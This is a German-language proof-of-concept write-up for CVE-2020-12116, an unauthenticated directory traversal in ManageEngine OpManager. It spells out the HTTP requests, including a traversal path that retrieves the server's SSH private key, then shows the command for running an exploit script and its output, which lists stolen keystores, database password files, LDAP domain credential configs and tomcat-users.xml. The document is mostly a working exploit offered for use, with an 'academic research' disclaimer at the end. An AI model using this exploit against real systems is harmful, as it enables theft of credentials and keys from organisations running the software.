
Proof-of-Concept-Code zur Ausnutzung von CVE-2020-12116: Nicht authentifiziertes willkürliches Dateilesen auf ManageEngine OpManger.
Proof-of-Concept-Code zur Ausnutzung von CVE-2020-12116: Nicht authentifiziertes, beliebiges Auslesen von Dateien bei ManageEngine OpManger.
Die neueste Version von OpManager enthält eine Schwachstelle durch Directory Traversal, die uneingeschränkten Zugriff auf jede Datei in der OpManager-Anwendung ermöglicht. Dies umfasst private SSH-Schlüssel, passwortgeschützte Java-Keystores und Konfigurationsdateien mit Passwörtern für Keystores, private Zertifikate und die Backend-Datenbank. Wenn LDAP konfiguriert ist, können Domänenanmeldedaten aus "conf/OpManager/ldap.conf" abgerufen werden.
Senden Sie eine nicht authentifizierte GET-Anforderung an das Stammverzeichnis der ManageEngine OpManager-Anwendung, standardmäßig auf Port 8060.
GET / HTTP/1.1
Host: <HOSTNAME>:8060
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Die Antwort-HTML wird zwischengespeicherte JavaScript-"src"-URLs enthalten.
<SCRIPT LANGUAGE="javascript" SRC="/cachestart/125116/cacheend/apiclient/fluidicv2/
javascript/jquery/jquery-3.4.1.min.js"></SCRIPT>
Der obige Auszug der "SRC"-URL enthält eine Schwachstelle durch Directory Traversal, die das beliebige Lesen von Dateien aus dem Stamminstallationsverzeichnis von ManageEngine ermöglicht. Standardmäßig ist der Installationspfad "C:\Program Files\ManageEngine\OpManager".
HINWEIS: Die Zahl nach "/cachestart/" ist die Produkt-Buildnummer, aber jede Zahl kann zur Ausnutzung der Schwachstelle verwendet werden.
Durch Nutzen der Skriptquellen-URL aus der Antwort-HTML kann eine GET-Anforderung mit Directory Traversal verwendet werden, um beliebige Dateien vom entfernten Server zu lesen.
GET /cachestart/125116/cacheend/apiclient/fluidicv2/javascript/jquery/../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: <HOSTNAME>:8060
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Cache-Control: max-age=0
Referer: http://<HOSTNAME>:8060/
HTTP/1.1 200
Set-Cookie: JSESSIONID=4E221B342BC080BC9AC2D19378364E3B; Path=/; HttpOnly
X-FRAME-OPTIONS: DENY
Accept-Ranges: bytes
ETag: W/"902-1586033949624"
Last-Modified: Sat, 04 Apr 2020 20:59:09 GMT
Vary: Accept-Encoding
Date: Mon, 13 Apr 2020 15:40:01 GMT
Connection: close
Content-Length: 902
-----BEGIN RSA PRIVATE KEY-----
MIICX...pXqnO
-----END RSA PRIVATE KEY-----
Dieses Skript nutzt die Schwachstelle zum beliebigen Dateilesen gegen ManageEngine
OpManager-Endpunkte aus, um sensible Dateien herunterzuladen, wie private Schlüssel, private
Keystores, Zertifikate, Konfigurationsdateien mit Passwörtern usw.
python3 exploit.py -t <hostname/IP> -p 8060 -d ./
[+] bin/.ssh_host_dsa_key gespeichert unter ./bin|.ssh_host_dsa_key
[+] bin/.ssh_host_dsa_key.pub gespeichert unter ./bin|.ssh_host_dsa_key.pub
[+] bin/.ssh_host_rsa_key gespeichert unter ./bin|.ssh_host_rsa_key
[+] bin/.ssh_host_rsa_key.pub gespeichert unter ./bin|.ssh_host_rsa_key.pub
[+] conf/client.keystore gespeichert unter ./conf|client.keystore
[+] conf/customer-config.xml gespeichert unter ./conf|customer-config.xml
[+] conf/database_params.conf gespeichert unter ./conf|database_params.conf
[+] conf/FirewallAnalyzer/aaa_auth-conf.xml gespeichert unter ./conf|FirewallAnalyzer|aaa_auth-conf.xml
[+] conf/FirewallAnalyzer/auth-conf_ppm.xml gespeichert unter ./conf|FirewallAnalyzer|auth-conf_ppm.xml
[+] conf/gateway.conf gespeichert unter ./conf|gateway.conf
[+] conf/itom.truststore gespeichert unter ./conf|itom.truststore
[+] conf/netflow/auth-conf.xml gespeichert unter ./conf|netflow|auth-conf.xml
[+] conf/netflow/server.xml gespeichert unter ./conf|netflow|server.xml
[+] conf/netflow/ssl_server.xml gespeichert unter ./conf|netflow|ssl_server.xml
[+] conf/NFAEE/cs_server.xml gespeichert unter ./conf|NFAEE|cs_server.xml
[+] conf/OpManager/database_params.conf gespeichert unter ./conf|OpManager|database_params.conf
[+] conf/OpManager/database_params_DE.conf gespeichert unter ./conf|OpManager|database_params_DE.conf
[+] conf/OpManager/ldap.conf gespeichert unter ./conf|OpManager|ldap.conf
[+] conf/OpManager/MicrosoftSQL/database_params.conf gespeichert unter ./conf|OpManager|MicrosoftSQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params.conf gespeichert unter ./conf|OpManager|POSTGRESQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params_DE.conf gespeichert unter ./conf|OpManager|POSTGRESQL|database_params_DE.conf
[+] conf/OpManager/securitydbData.xml gespeichert unter ./conf|OpManager|securitydbData.xml
[+] conf/OpManager/SnmpDefaultProperties.xml gespeichert unter ./conf|OpManager|SnmpDefaultProperties.xml
[+] conf/Oputils/snmp/Community.xml gespeichert unter ./conf|Oputils|snmp|Community.xml
[+] conf/Persistence/DBconfig.xml gespeichert unter ./conf|Persistence|DBconfig.xml
[+] conf/Persistence/persistence-configurations.xml gespeichert unter ./conf|Persistence|persistence-configurations.xml
[+] conf/pmp/PMP_API.conf gespeichert unter ./conf|pmp|PMP_API.conf
[+] conf/pmp/pmp_server_cert.p12 gespeichert unter ./conf|pmp|pmp_server_cert.p12
[+] conf/product-config.xml gespeichert unter ./conf|product-config.xml
[+] conf/SANSeed.xml gespeichert unter ./conf|SANSeed.xml
[+] conf/server.keystore gespeichert unter ./conf|server.keystore
[+] conf/server.xml gespeichert unter ./conf|server.xml
[+] conf/system_properties.conf gespeichert unter ./conf|system_properties.conf
[+] conf/tomcat-users.xml gespeichert unter ./conf|tomcat-users.xml
[+] lib/OPM_APNS_Cert.p12 gespeichert unter ./lib|OPM_APNS_Cert.p12
Dieser Proof-of-Concept-Code wurde für akademische Forschungszwecke erstellt und ist nicht dazu bestimmt, gegen Systeme eingesetzt zu werden, außer wenn dies ausdrücklich genehmigt wurde. Der Code wird ohne jegliche Gewährleistung oder Zusicherung hinsichtlich seiner Ausführung bereitgestellt. Ich bin nicht verantwortlich oder haftbar für die missbräuchliche Verwendung dieses Codes.